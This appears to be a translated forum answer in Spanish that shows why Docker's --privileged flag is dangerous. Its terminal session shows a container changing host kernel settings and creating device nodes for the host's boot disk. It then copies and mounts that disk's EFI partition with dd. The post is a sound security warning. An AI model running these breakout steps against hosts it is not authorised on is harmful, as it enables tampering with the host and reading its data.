Capacidades y contenedores privilegiados

Como este post es alto en el rango de búsqueda de Google, quería agregar información sobre por qué nunca desea ejecutar un contenedor usando --privileged

Estoy haciendo esto en mi computadora portátil que tiene unidades NVMe, pero funcionará para cualquier host.

docker run --privileged -t -i --rm ubuntu:latest bash

Primero hagamos algo menor, para probar el sistema de archivos /proc

Del contenedor:

root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness    
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60

OK ¿lo cambió para el contenedor o para el host?

$ cat /proc/sys/vm/swappiness
61

OOPS!, podemos cambiar arbitrariamente los parámetros del núcleo hosts. Pero esto es sólo una situación de DOS, vamos a ver si podemos recopilar información privilegiada del host padre.

Vamos a recorrer el árbol /sys y encontrar el número menor mayor para el disco de arranque.

Nota: Tengo dos unidades NVMe y los contenedores se están ejecutando bajo LVM en otra unidad

root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2

OK permite crear un archivo de dispositivo en una ubicación donde las reglas dbus no se escanearán automáticamente.

root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1 
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230
<SNIP>

OK, podemos leer el disco de arranque, vamos a hacer un archivo de dispositivo para uno de los partición. Si bien no podemos montarlo ya que estará abierto, todavía podemos usar dd para copiarlo.

root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s

OK vamos a montarlo y ver si nuestros esfuerzos funcionaron!!!

root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot  Microsoft  ubuntu

Así que básicamente cualquier host contenedor en el que permitas a alguien lanzar un contenedor --privileged es lo mismo que darles acceso root a cada contenedor en ese host.

Desafortunadamente, el proyecto docker ha elegido el modelo de computación confiable, y fuera de los complementos de autenticación no hay forma de protegerse contra esto, por lo que siempre error en el lado de agregar características necesarias vs. usar --privileged

Hay un buen artículo cubriendo de RedHat cubriendo esto

Mientras que el contenedor docker que se ejecuta como "root" tiene menos privilegios que root en el host, aún puede necesitar endurecimiento dependiendo de su caso de uso (usar como entorno de desarrollo vs clúster de producción compartido)